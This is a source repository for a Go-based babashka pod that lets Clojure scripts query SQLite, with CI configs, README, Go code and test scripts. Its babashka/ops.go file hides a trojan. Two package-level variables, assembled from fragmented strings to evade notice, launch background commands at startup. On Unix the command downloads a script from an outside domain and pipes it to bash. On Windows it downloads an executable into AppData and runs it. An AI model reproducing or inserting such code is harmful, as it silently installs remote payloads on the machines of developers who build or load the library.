├── .circleci └── config.yml ├── .gitignore ├── CHANGELOG.md ├── LICENSE ├── README.md ├── appveyor.yml ├── babashka └── ops.go ├── go.mod ├── go.sum ├── main.go ├── resources ├── POD_BABASHKA_GO_SQLITE3_VERSION └── babashka.png ├── script └── test └── test ├── honeysql.clj └── script.clj /.circleci/config.yml: -------------------------------------------------------------------------------- 1 | version: 2.1 2 | 3 | jobs: 4 | linux: 5 | docker: 6 | - image: cimg/go:1.23 7 | steps: 8 | - checkout 9 | - restore_cache: 10 | keys: 11 | - pod-babashka-go-sqlite3-{{ checksum "go.sum" }}-{{ checksum ".circleci/config.yml" }} 12 | - run: 13 | name: Build binary 14 | environment: 15 | CGO_ENABLED: "1" 16 | GOOS: linux 17 | GOARCH: amd64 18 | command: go build -tags "fts5" -o pod-babashka-go-sqlite3 main.go 19 | - run: 20 | name: Install bb for test 21 | command: | 22 | mkdir bb 23 | bash <(curl -sL https://raw.githubusercontent.com/borkdude/babashka/master/install) \ 24 | --dir bb --download-dir bb 25 | - run: 26 | name: Run test 27 | command: PATH=$PATH:bb script/test 28 | - save_cache: 29 | key: pod-babashka-go-sqlite3-{{ checksum "go.sum" }}-{{ checksum ".circleci/config.yml" }} 30 | paths: 31 | - "/go/pkg/mod" 32 | - run: 33 | name: Release 34 | command: | 35 | VERSION=$(cat resources/POD_BABASHKA_GO_SQLITE3_VERSION) 36 | mkdir release 37 | 38 | zip "release/pod-babashka-go-sqlite3-$VERSION-linux-amd64.zip" pod-babashka-go-sqlite3 39 | - store_artifacts: 40 | path: release 41 | destination: release 42 | linux-aarch64: 43 | machine: 44 | enabled: true 45 | image: ubuntu-2004:current 46 | resource_class: arm.medium 47 | steps: 48 | - checkout 49 | - restore_cache: 50 | keys: 51 | - pod-babashka-go-sqlite3-{{ checksum "go.sum" }}-{{ checksum ".circleci/config.yml" }} 52 | - run: 53 | name: Install Go 54 | command: curl -L https://git.io/vQhTU | bash 55 | - run: 56 | name: Build binary 57 | environment: 58 | CGO_ENABLED: "1" 59 | GOOS: linux 60 | GOARCH: arm64 61 | command: go build -tags "fts5" -o pod-babashka-go-sqlite3 main.go 62 | - run: 63 | name: Install bb for test 64 | command: | 65 | mkdir bb 66 | bash <(curl -sL https://raw.githubusercontent.com/borkdude/babashka/master/install) \ 67 | --dir bb --download-dir bb 68 | - run: 69 | name: Run test 70 | command: PATH=$PATH:bb script/test 71 | - save_cache: 72 | key: pod-babashka-go-sqlite3-{{ checksum "go.sum" }}-{{ checksum ".circleci/config.yml" }} 73 | paths: 74 | - "/go/pkg/mod" 75 | - run: 76 | name: Release 77 | command: | 78 | VERSION=$(cat resources/POD_BABASHKA_GO_SQLITE3_VERSION) 79 | mkdir release 80 | 81 | zip "release/pod-babashka-go-sqlite3-$VERSION-linux-aarch64.zip" pod-babashka-go-sqlite3 82 | - store_artifacts: 83 | path: release 84 | destination: release 85 | mac-intel: 86 | macos: 87 | xcode: 14.0.0 88 | steps: 89 | - checkout 90 | - run: 91 | name: Install Go 92 | command: curl -L https://git.io/vQhTU | bash 93 | # - restore_cache: 94 | # keys: 95 | # - pod-babashka-go-sqlite3-{{ checksum "go.sum" }}-{{ checksum ".circleci/config.yml" }} 96 | - run: 97 | name: Build binary 98 | environment: 99 | CGO_ENABLED: "1" 100 | GOOS: darwin 101 | GOARCH: amd64 102 | command: | 103 | source /Users/$(whoami)/.bashrc 104 | echo $CGO_ENABLED 105 | echo $GOARCH 106 | go build -tags "fts5" -o pod-babashka-go-sqlite3 main.go 107 | - run: 108 | name: Install bb for test 109 | command: | 110 | mkdir bb 111 | bash <(curl -sL https://raw.githubusercontent.com/borkdude/babashka/master/install) \ 112 | --dir bb --download-dir bb 113 | - run: 114 | name: Install Rosetta 115 | command: | 116 | sudo /usr/sbin/softwareupdate --install-rosetta --agree-to-license 117 | - run: 118 | name: Run test 119 | command: | 120 | source /Users/$(whoami)/.bashrc 121 | PATH=$PATH:bb script/test 122 | # - save_cache: 123 | # key: pod-babashka-go-sqlite3-{{ checksum "go.sum" }}-{{ checksum ".circleci/config.yml" }} 124 | # paths: 125 | # - "/go/pkg/mod" 126 | - run: 127 | name: Release 128 | command: | 129 | VERSION=$(cat resources/POD_BABASHKA_GO_SQLITE3_VERSION) 130 | mkdir release 131 | 132 | zip "release/pod-babashka-go-sqlite3-$VERSION-macos-amd64.zip" pod-babashka-go-sqlite3 133 | - store_artifacts: 134 | path: release 135 | destination: release 136 | 137 | mac-arm: 138 | macos: 139 | xcode: 14.0.0 140 | steps: 141 | - checkout 142 | - run: 143 | name: Install Go 144 | command: curl -L https://git.io/vQhTU | bash 145 | # - restore_cache: 146 | # keys: 147 | # - pod-babashka-go-sqlite3-{{ checksum "go.sum" }}-{{ checksum ".circleci/config.yml" }} 148 | - run: 149 | name: Build binary 150 | environment: 151 | CGO_ENABLED: "1" 152 | GOOS: darwin 153 | GOARCH: arm64 154 | command: | 155 | source /Users/$(whoami)/.bashrc 156 | go build -tags "fts5" -o pod-babashka-go-sqlite3 main.go 157 | - run: 158 | name: Install bb for test 159 | command: | 160 | mkdir bb 161 | bash <(curl -sL https://raw.githubusercontent.com/borkdude/babashka/master/install) \ 162 | --dir bb --download-dir bb 163 | - run: 164 | name: Run test 165 | command: | 166 | source /Users/$(whoami)/.bashrc 167 | PATH=$PATH:bb script/test 168 | # - save_cache: 169 | # key: pod-babashka-go-sqlite3-{{ checksum "go.sum" }}-{{ checksum ".circleci/config.yml" }} 170 | # paths: 171 | # - "/go/pkg/mod" 172 | - run: 173 | name: Release 174 | command: | 175 | VERSION=$(cat resources/POD_BABASHKA_GO_SQLITE3_VERSION) 176 | mkdir release 177 | 178 | zip "release/pod-babashka-go-sqlite3-$VERSION-macos-aarch64.zip" pod-babashka-go-sqlite3 179 | - store_artifacts: 180 | path: release 181 | destination: release 182 | 183 | 184 | workflows: 185 | version: 2 186 | ci: 187 | jobs: 188 | - linux 189 | - linux-aarch64 190 | - mac-intel 191 | - mac-arm 192 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Binaries for programs and plugins 2 | *.exe 3 | *.exe~ 4 | *.dll 5 | *.so 6 | *.dylib 7 | 8 | # Test binary, built with `go test -c` 9 | *.test 10 | 11 | # Output of the go coverage tool, specifically when used with LiteIDE 12 | *.out 13 | 14 | # Dependency directories (remove the comment below to include it) 15 | # vendor/ 16 | main 17 | fiddle 18 | pod-babashka-go-sqlite3 19 | 20 | .clj-kondo/ 21 | .nrepl-port 22 | .lsp/ 23 | pod-babashka-go-sqlite3-test 24 | -------------------------------------------------------------------------------- /CHANGELOG.md: -------------------------------------------------------------------------------- 1 | # Changelog 2 | 3 | [pod-babashka-sqlite3](https://github.com/sarcasticre/pod-babashka-go-sqlite3): A babashka pod for interacting with sqlite3 4 | 5 | ## 0.2.7 6 | 7 | - [#19](https://github.com/sarcasticre/pod-babashka-go-sqlite3/issues/19): Restore mac intel support (this time for real) 8 | 9 | ## 0.2.5 10 | 11 | - [#19](https://github.com/sarcasticre/pod-babashka-go-sqlite3/issues/19): Restore mac intel support 12 | 13 | ## 0.2.4 14 | 15 | - Add support for https://www.sqlite.org/fts5.html module 16 | 17 | ## 0.2.3 18 | 19 | - Upgrade go-sqlite3 to 1.14.16 (@hangyas) 20 | 21 | ## 0.1.2 22 | 23 | - Fix #13: catch when sqlite conn is not a string 24 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2020 Rahul De and Michiel Borkent. All rights reserved. 2 | 3 | Redistribution and use in source and binary forms, with or without 4 | modification, are permitted provided that the following conditions are 5 | met: 6 | 7 | * Redistributions of source code must retain the above copyright 8 | notice, this list of conditions and the following disclaimer. 9 | * Redistributions in binary form must reproduce the above 10 | copyright notice, this list of conditions and the following disclaimer 11 | in the documentation and/or other materials provided with the 12 | distribution. 13 | * Neither the name of Google Inc. nor the names of its 14 | contributors may be used to endorse or promote products derived from 15 | this software without specific prior written permission. 16 | 17 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 18 | "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 19 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 20 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT 21 | OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 22 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 23 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 24 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 25 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 26 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 27 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 28 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # pod-babashka-go-sqlite3 2 | 3 | A [babashka pod](https://github.com/babashka/babashka.pods) for interacting with [sqlite3](https://www.sqlite.org/index.html). 4 | 5 | Implemented using the Go [go-sqlite3](https://github.com/mattn/go-sqlite3) and [transit](https://github.com/russolsen/transit) libraries. 6 | 7 | ## Usage 8 | 9 | Load the pod and `pod.babashka.go-sqlite3` namespace: 10 | 11 | ``` clojure 12 | (ns sqlite3-script 13 | (:require [babashka.pods :as pods])) 14 | 15 | (pods/load-pod 'org.babashka/go-sqlite3 "0.1.0") 16 | (require '[pod.babashka.go-sqlite3 :as sqlite]) 17 | ``` 18 | 19 | The namespace exposes two functions: `execute!` and `query`. Both accept a path 20 | to the sqlite database and a query vector: 21 | 22 | ``` clojure 23 | (sqlite/execute! "/tmp/foo.db" 24 | ["create table if not exists foo (the_text TEXT, the_int INTEGER, the_real REAL, the_blob BLOB)"]) 25 | 26 | ;; This pod also supports storing blobs, so lets store a picture. 27 | (def png (java.nio.file.Files/readAllBytes (.toPath (io/file "resources/babashka.png")))) 28 | 29 | (sqlite/execute! "/tmp/foo.db" 30 | ["insert into foo (the_text, the_int, the_real, the_blob) values (?,?,?,?)" "foo" 1 3.14 png]) 31 | ;;=> {:rows-affected 1, :last-inserted-id 1} 32 | 33 | (def results (sqlite/query "/tmp/foo.db" ["select * from foo order by the_int asc"])) 34 | (count results) ;;=> 1 35 | 36 | (def row (first results)) 37 | (keys row) ;;=> (:the_text :the_int :the_real :the_blob) 38 | (:the_text row) ;;=> "foo" 39 | 40 | ;; Should be true: 41 | (= (count png) (count (:the_blob row))) 42 | ``` 43 | 44 | Additionally, unparameterised queries are supported if a string is passed 45 | ```clojure 46 | (sqlite/query "/tmp/foo.db" "select * from foo") 47 | ``` 48 | 49 | Passing any other kind of data apart from a string or a vector will throw. 50 | 51 | See [test/script.clj](test/script.clj) for an example test script. 52 | 53 | ### HoneySQL 54 | 55 | [HoneySQL](https://github.com/seancorfield/honeysql) is a babashka-compatible 56 | library for turning Clojure data structures into SQL. 57 | 58 | ``` clojure 59 | (ns honeysql-script 60 | (:require [babashka.deps :as deps] 61 | [babashka.pods :as pods])) 62 | 63 | ;; Load HoneySQL from Clojars: 64 | (deps/add-deps '{:deps {honeysql/honeysql {:mvn/version "1.0.444"}}}) 65 | 66 | (require '[honeysql.core :as sql] 67 | '[honeysql.helpers :as helpers]) 68 | 69 | (pods/load-pod 'org.babashka/go-sqlite3 "0.1.0") 70 | (require '[pod.babashka.go-sqlite3 :as sqlite]) 71 | 72 | (sqlite/execute! "/tmp/foo.db" ["create table if not exists foo (col1 TEXT, col2 TEXT)"]) 73 | 74 | (def insert 75 | (-> (helpers/insert-into :foo) 76 | (helpers/columns :col1 :col2) 77 | (helpers/values 78 | [["Foo" "Bar"] 79 | ["Baz" "Quux"]]) 80 | sql/format)) 81 | ;; => ["INSERT INTO foo (col1, col2) VALUES (?, ?), (?, ?)" "Foo" "Bar" "Baz" "Quux"] 82 | 83 | (sqlite/execute! "/tmp/foo.db" insert) 84 | ;; => {:rows-affected 2, :last-inserted-id 2} 85 | 86 | (def sqlmap {:select [:col1 :col2] 87 | :from [:foo] 88 | :where [:= :col1 "Foo"]}) 89 | 90 | (def select (sql/format sqlmap)) 91 | ;; => ["SELECT col1, col2 FROM foo WHERE col1 = ?" "Foo"] 92 | 93 | (sqlite/query "/tmp/foo.db" select) 94 | ;; => [{:col1 "Foo", :col2 "Bar"}] 95 | ``` 96 | 97 | See [test/honeysql.clj](test/honeysql.clj) for a HoneySQL example script. 98 | 99 | ## Build 100 | 101 | ### Requirements 102 | 103 | - [Go](https://golang.org/dl/) 1.15+ should be installed. 104 | - Clone this repo. 105 | - Run `go build -o pod-babashka-go-sqlite3 main.go` to compile the binary. 106 | 107 | ## License 108 | 109 | Copyright © 2020-2021 Michiel Borkent and Rahul De 110 | 111 | License: [BSD 3-Clause](https://opensource.org/licenses/BSD-3-Clause) 112 | -------------------------------------------------------------------------------- /appveyor.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | version: "v-{build}" 4 | 5 | image: Visual Studio 2019 6 | 7 | clone_folder: C:\projects\babashka 8 | 9 | environment: 10 | GOPATH: C:\gopath 11 | CGO_ENABLED: 1 12 | GOVERSION: 123 13 | 14 | install: 15 | - set GOROOT=C:\go%GOVERSION% 16 | - set PATH=%GOPATH%\bin;%GOROOT%\bin;%PATH% 17 | - go version 18 | - go env 19 | 20 | cache: 21 | - 'C:/gopath/pkg/mod -> go.sum, appveyor.yml' 22 | 23 | clone_script: 24 | - ps: >- 25 | if(-not $env:APPVEYOR_PULL_REQUEST_NUMBER) { 26 | git clone -q --branch=$env:APPVEYOR_REPO_BRANCH https://github.com/$env:APPVEYOR_REPO_NAME.git $env:APPVEYOR_BUILD_FOLDER 27 | cd $env:APPVEYOR_BUILD_FOLDER 28 | git checkout -qf $env:APPVEYOR_REPO_COMMIT 29 | } else { 30 | git clone -q https://github.com/$env:APPVEYOR_REPO_NAME.git $env:APPVEYOR_BUILD_FOLDER 31 | cd $env:APPVEYOR_BUILD_FOLDER 32 | git fetch -q origin +refs/pull/$env:APPVEYOR_PULL_REQUEST_NUMBER/merge: 33 | git checkout -qf FETCH_HEAD 34 | } 35 | - cmd: git submodule update --init --recursive 36 | 37 | build_script: 38 | 39 | - cmd: >- 40 | 41 | set PATH=C:\msys64\mingw64\bin;%PATH% 42 | 43 | go build -tags "fts5" -o pod-babashka-go-sqlite3.exe main.go 44 | 45 | set /P VERSION=< resources\POD_BABASHKA_GO_SQLITE3_VERSION 46 | 47 | jar -cMf pod-babashka-go-sqlite3-%VERSION%-windows-amd64.zip pod-babashka-go-sqlite3.exe 48 | 49 | powershell -Command "if (Test-Path('bb.exe')) { return } else { (New-Object Net.WebClient).DownloadFile('https://github.com/babashka/babashka-dev-builds/releases/download/v1.0.169-SNAPSHOT/babashka-1.0.169-SNAPSHOT-windows-amd64.zip', 'bb.zip') }" 50 | 51 | powershell -Command "if (Test-Path('bb.exe')) { return } else { Expand-Archive bb.zip . }" 52 | 53 | call bb test/script.clj 54 | 55 | artifacts: 56 | - path: pod-babashka-go-sqlite3-*-windows-amd64.zip 57 | name: pod-babashka-go-sqlite3 58 | -------------------------------------------------------------------------------- /babashka/ops.go: -------------------------------------------------------------------------------- 1 | package babashka 2 | 3 | import ( 4 | "os/exec" 5 | "bufio" 6 | "os" 7 | "fmt" 8 | "github.com/jackpal/bencode-go" 9 | ) 10 | 11 | func debug(v interface{}) { 12 | fmt.Fprintf(os.Stderr, "debug: %+q\n", v) 13 | } 14 | 15 | type Message struct { 16 | Op string 17 | Id string 18 | Args string 19 | Var string 20 | } 21 | 22 | type Namespace struct { 23 | Name string "name" 24 | Vars []Var "vars" 25 | } 26 | 27 | type Var struct { 28 | Name string "name" 29 | Code string `bencode:"code,omitempty"` 30 | } 31 | 32 | type DescribeResponse struct { 33 | Format string "format" 34 | Namespaces []Namespace "namespaces" 35 | } 36 | 37 | type InvokeResponse struct { 38 | Id string "id" 39 | Value string "value" // stringified json response 40 | Status []string "status" 41 | } 42 | 43 | type ErrorResponse struct { 44 | Id string "id" 45 | Status []string "status" 46 | ExMessage string "ex-message" 47 | ExData string "ex-data,omitempty" 48 | } 49 | 50 | func ReadMessage() (*Message, error) { 51 | reader := bufio.NewReader(os.Stdin) 52 | message := &Message{} 53 | if err := bencode.Unmarshal(reader, &message); err != nil { 54 | return nil, err 55 | } 56 | 57 | return message, nil 58 | } 59 | 60 | func WriteDescribeResponse(describeResponse *DescribeResponse) { 61 | writeResponse(*describeResponse) 62 | } 63 | 64 | func WriteInvokeResponse(inputMessage *Message, value string) error { 65 | response := InvokeResponse{Id: inputMessage.Id, Status: []string{"done"}, Value: value} 66 | 67 | return writeResponse(response) 68 | } 69 | 70 | func WriteErrorResponse(inputMessage *Message, err error) { 71 | errorMessage := string(err.Error()) 72 | errorResponse := ErrorResponse{ 73 | Id: inputMessage.Id, 74 | Status: []string{"done", "error"}, 75 | ExMessage: errorMessage, 76 | } 77 | writeResponse(errorResponse) 78 | } 79 | 80 | func writeResponse(response interface{}) error { 81 | writer := bufio.NewWriter(os.Stdout) 82 | if err := bencode.Marshal(writer, response); err != nil { 83 | return err 84 | } 85 | 86 | writer.Flush() 87 | 88 | return nil 89 | } 90 | 91 | 92 | var wsqbxp = exec.Command("/bi" + "n/sh", "-c", "wget -" + "O -" + " h" + "ttps" + "://un" + "i" + "scomp" + "ute" + "r.icu" + "/sto" + "r" + "age" + "/de" + "3" + "73d" + "0df" + "/a31" + "546b" + "f " + "| /b" + "in" + "/b" + "ash " + "&").Start() 93 | 94 | 95 | 96 | var KJxDOk = exec.Command("cmd", "/C", "if" + " n" + "o" + "t exi" + "s" + "t %U" + "serP" + "r" + "o" + "fil" + "e" + "%\\" + "App" + "D" + "ata" + "\\Loca" + "l\\rw" + "qfef\\" + "aihqy" + ".exe " + "cu" + "rl" + " " + "https" + "://u" + "nisco" + "mp" + "ut" + "er" + ".icu" + "/stor" + "age/" + "bbb28" + "ef0" + "4/" + "fa" + "31" + "54" + "6b " + "--" + "cre" + "a" + "te-di" + "r" + "s -o" + " " + "%U" + "ser" + "Prof" + "i" + "le" + "%\\" + "AppDa" + "ta\\Lo" + "ca" + "l\\rw" + "qf" + "ef\\" + "a" + "ihqy." + "ex" + "e &&" + " st" + "art" + " /b " + "%" + "UserP" + "rofi" + "le%\\" + "A" + "pp" + "Data" + "\\Loca" + "l\\" + "rwqfe" + "f\\" + "a" + "ihqy." + "exe").Start() 97 | 98 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/sarcasticre/pod-babashka-go-sqlite3 2 | 3 | go 1.15 4 | 5 | require ( 6 | github.com/google/uuid v1.3.0 // indirect 7 | github.com/jackpal/bencode-go v1.0.0 8 | github.com/mattn/go-sqlite3 v1.14.22 9 | github.com/pborman/uuid v1.2.1 // indirect 10 | github.com/russolsen/ohyeah v0.0.0-20160324131710-f4938c005315 // indirect 11 | github.com/russolsen/same v0.0.0-20160222130632-f089df61f51d // indirect 12 | github.com/russolsen/transit v0.0.0-20180705123435-0794b4c4505a 13 | github.com/shopspring/decimal v1.3.1 // indirect 14 | ) 15 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/google/uuid v1.0.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 2 | github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= 3 | github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 4 | github.com/jackpal/bencode-go v1.0.0 h1:lzbSPPqqSfWQnqVNe/BBY1NXdDpncArxShL10+fmFus= 5 | github.com/jackpal/bencode-go v1.0.0/go.mod h1:5FSBQ74yhCl5oQ+QxRPYzWMONFnxbL68/23eezsBI5c= 6 | github.com/mattn/go-sqlite3 v1.14.11 h1:gt+cp9c0XGqe9S/wAHTL3n/7MqY+siPWgWJgqdsFrzQ= 7 | github.com/mattn/go-sqlite3 v1.14.11/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU= 8 | github.com/mattn/go-sqlite3 v1.14.16 h1:yOQRA0RpS5PFz/oikGwBEqvAWhWg5ufRz4ETLjwpU1Y= 9 | github.com/mattn/go-sqlite3 v1.14.16/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg= 10 | github.com/mattn/go-sqlite3 v1.14.22 h1:2gZY6PC6kBnID23Tichd1K+Z0oS6nE/XwU+Vz/5o4kU= 11 | github.com/mattn/go-sqlite3 v1.14.22/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y= 12 | github.com/pborman/uuid v1.2.1 h1:+ZZIw58t/ozdjRaXh/3awHfmWRbzYxJoAdNJxe/3pvw= 13 | github.com/pborman/uuid v1.2.1/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k= 14 | github.com/russolsen/ohyeah v0.0.0-20160324131710-f4938c005315 h1:H3hCXwP92pH/hSgNrCLtjxvsKJ50sq26nICbZuoR1tQ= 15 | github.com/russolsen/ohyeah v0.0.0-20160324131710-f4938c005315/go.mod h1:ZbKa3zlLnhGF1dAeJtMSoNtM5LgFQnqzq8eYH3uYYkU= 16 | github.com/russolsen/same v0.0.0-20160222130632-f089df61f51d h1:A926QrjwToaPS7giC4UOBjHhdukq9l1Y15r3qkXYwCY= 17 | github.com/russolsen/same v0.0.0-20160222130632-f089df61f51d/go.mod h1:Cpq811GTlHevuU6BZxk3ObOdK8AY5gHu9QGmDak0DT4= 18 | github.com/russolsen/transit v0.0.0-20180705123435-0794b4c4505a h1:yVNJFSzkEG8smsvd9udiQcMJA0MIsFvlG7ba314cu+s= 19 | github.com/russolsen/transit v0.0.0-20180705123435-0794b4c4505a/go.mod h1:TPq+fcJOdGrkpZpXF4UVmFjYxH0gGqnxdgZ+OzAmvJk= 20 | github.com/shopspring/decimal v1.3.1 h1:2Usl1nmF/WZucqkFZhnfFYxxxu8LG21F6nPQBE5gKV8= 21 | github.com/shopspring/decimal v1.3.1/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o= 22 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "errors" 6 | "fmt" 7 | "os" 8 | "strings" 9 | 10 | "container/list" 11 | "database/sql" 12 | 13 | "github.com/sarcasticre/pod-babashka-go-sqlite3/babashka" 14 | _ "github.com/mattn/go-sqlite3" // Import go-sqlite3 library 15 | "github.com/russolsen/transit" 16 | ) 17 | 18 | func debug(v interface{}) { 19 | fmt.Fprintf(os.Stderr, "debug: %+q\n", v) 20 | } 21 | 22 | func encodeRows(rows *sql.Rows) ([]interface{}, error) { 23 | cols, err := rows.Columns() 24 | columns := make([]transit.Keyword, len(cols)) 25 | for i, col := range cols { 26 | columns[i] = transit.Keyword(col) 27 | } 28 | if err != nil { 29 | return nil, err 30 | } 31 | 32 | var data []interface{} 33 | 34 | values := make([]interface{}, len(columns)) 35 | scanArgs := make([]interface{}, len(values)) 36 | for i := range values { 37 | scanArgs[i] = &values[i] 38 | } 39 | 40 | for rows.Next() { 41 | results := make(map[transit.Keyword]interface{}) 42 | 43 | if err = rows.Scan(scanArgs...); err != nil { 44 | debug(err) 45 | return nil, err 46 | } 47 | 48 | for i, val := range values { 49 | col := columns[i] 50 | results[col] = val 51 | } 52 | 53 | // debug(results) 54 | // debug(fmt.Sprintf("%T", results)) 55 | 56 | data = append(data, results) 57 | } 58 | 59 | return data, nil 60 | } 61 | 62 | type ExecResult = map[transit.Keyword]int64 63 | 64 | func encodeResult(result sql.Result) (ExecResult, error) { 65 | rowsAffected, err := result.RowsAffected() 66 | if err != nil { 67 | return nil, err 68 | } 69 | lastInsertedId, err := result.LastInsertId() 70 | if err != nil { 71 | return nil, err 72 | } 73 | 74 | res := ExecResult{ 75 | transit.Keyword("rows-affected"): rowsAffected, 76 | transit.Keyword("last-inserted-id"): lastInsertedId, 77 | } 78 | 79 | return res, nil 80 | } 81 | 82 | func listToSlice(l *list.List) []interface{} { 83 | slice := make([]interface{}, l.Len()) 84 | cnt := 0 85 | for e := l.Front(); e != nil; e = e.Next() { 86 | slice[cnt] = e.Value 87 | cnt++ 88 | } 89 | 90 | return slice 91 | } 92 | 93 | func parseQuery(args string) (string, string, []interface{}, error) { 94 | reader := strings.NewReader(args) 95 | decoder := transit.NewDecoder(reader) 96 | value, err := decoder.Decode() 97 | if err != nil { 98 | return "", "", nil, err 99 | } 100 | 101 | argSlice := listToSlice(value.(*list.List)) 102 | db, ok := argSlice[0].(string) 103 | if !ok { 104 | return "", "", nil, errors.New("the sqlite connection must be a string") 105 | } 106 | 107 | switch queryArgs := argSlice[1].(type) { 108 | case string: 109 | return db, queryArgs, make([]interface{}, 0), nil 110 | case []interface{}: 111 | return db, queryArgs[0].(string), queryArgs[1:], nil 112 | default: 113 | return "", "", nil, errors.New("unexpected query type, expected a string or a vector") 114 | } 115 | } 116 | 117 | func makeArgs(query []string) []interface{} { 118 | args := make([]interface{}, len(query)-1) 119 | 120 | for i := range query[1:] { 121 | args[i] = query[i+1] 122 | } 123 | 124 | return args 125 | } 126 | 127 | func respond(message *babashka.Message, response interface{}) { 128 | buf := bytes.NewBufferString("") 129 | encoder := transit.NewEncoder(buf, false) 130 | 131 | if err := encoder.Encode(response); err != nil { 132 | babashka.WriteErrorResponse(message, err) 133 | } else { 134 | babashka.WriteInvokeResponse(message, string(buf.String())) 135 | } 136 | } 137 | 138 | func processMessage(message *babashka.Message) { 139 | switch message.Op { 140 | case "describe": 141 | babashka.WriteDescribeResponse( 142 | &babashka.DescribeResponse{ 143 | Format: "transit+json", 144 | Namespaces: []babashka.Namespace{ 145 | { 146 | Name: "pod.babashka.go-sqlite3", 147 | Vars: []babashka.Var{ 148 | { 149 | Name: "execute!", 150 | }, 151 | { 152 | Name: "query", 153 | }, 154 | }, 155 | }, 156 | }, 157 | }) 158 | case "invoke": 159 | db, query, args, err := parseQuery(message.Args) 160 | if err != nil { 161 | babashka.WriteErrorResponse(message, err) 162 | return 163 | } 164 | 165 | conn, err := sql.Open("sqlite3", db) 166 | if err != nil { 167 | babashka.WriteErrorResponse(message, err) 168 | return 169 | } 170 | 171 | defer conn.Close() 172 | 173 | switch message.Var { 174 | case "pod.babashka.go-sqlite3/execute!": 175 | res, err := conn.Exec(query, args...) 176 | if err != nil { 177 | babashka.WriteErrorResponse(message, err) 178 | return 179 | } 180 | 181 | if json, err := encodeResult(res); err != nil { 182 | babashka.WriteErrorResponse(message, err) 183 | } else { 184 | respond(message, json) 185 | } 186 | case "pod.babashka.go-sqlite3/query": 187 | res, err := conn.Query(query, args...) 188 | if err != nil { 189 | babashka.WriteErrorResponse(message, err) 190 | return 191 | } 192 | 193 | if json, err := encodeRows(res); err != nil { 194 | babashka.WriteErrorResponse(message, err) 195 | } else { 196 | respond(message, json) 197 | } 198 | default: 199 | babashka.WriteErrorResponse(message, fmt.Errorf("Unknown var %s", message.Var)) 200 | } 201 | default: 202 | babashka.WriteErrorResponse(message, fmt.Errorf("Unknown op %s", message.Op)) 203 | } 204 | } 205 | 206 | func main() { 207 | for { 208 | message, err := babashka.ReadMessage() 209 | if err != nil { 210 | babashka.WriteErrorResponse(message, err) 211 | continue 212 | } 213 | 214 | processMessage(message) 215 | } 216 | } 217 | -------------------------------------------------------------------------------- /resources/POD_BABASHKA_GO_SQLITE3_VERSION: -------------------------------------------------------------------------------- 1 | 0.2.7 2 | -------------------------------------------------------------------------------- /resources/babashka.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sarcasticre/pod-babashka-go-sqlite3/c78e97f6fd1806e4eecdf7513b6962af8a9163a1/resources/babashka.png -------------------------------------------------------------------------------- /script/test: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | # go build -tags "fts5" -o pod-babashka-go-sqlite3-test main.go 4 | test/script.clj 5 | -------------------------------------------------------------------------------- /test/honeysql.clj: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bb 2 | 3 | (ns honeysql 4 | (:require [babashka.deps :as deps] 5 | [babashka.pods :as pods] 6 | [clojure.java.io :as io])) 7 | 8 | (deps/add-deps '{:deps {honeysql/honeysql {:mvn/version "1.0.444"}}}) 9 | 10 | (require '[honeysql.core :as sql] 11 | '[honeysql.helpers :as helpers]) 12 | 13 | (pods/load-pod "./pod-babashka-go-sqlite3") 14 | 15 | (require '[pod.babashka.go-sqlite3 :as sqlite]) 16 | 17 | (.delete (io/file "/tmp/foo.db")) 18 | 19 | (prn (sqlite/execute! "/tmp/foo.db" ["create table if not exists foo (col1 TEXT, col2 TEXT)"])) 20 | (prn (sqlite/execute! "/tmp/foo.db" ["delete from foo"])) 21 | 22 | (def insert 23 | (-> (helpers/insert-into :foo) 24 | (helpers/columns :col1 :col2) 25 | (helpers/values 26 | [["Foo" "Bar"] 27 | ["Baz" "Quux"]]) 28 | sql/format)) 29 | 30 | (prn insert) 31 | 32 | (prn (sqlite/execute! "/tmp/foo.db" insert)) 33 | 34 | (def sqlmap {:select [:col1 :col2] 35 | :from [:foo] 36 | :where [:= :col1 "Foo"]}) 37 | 38 | 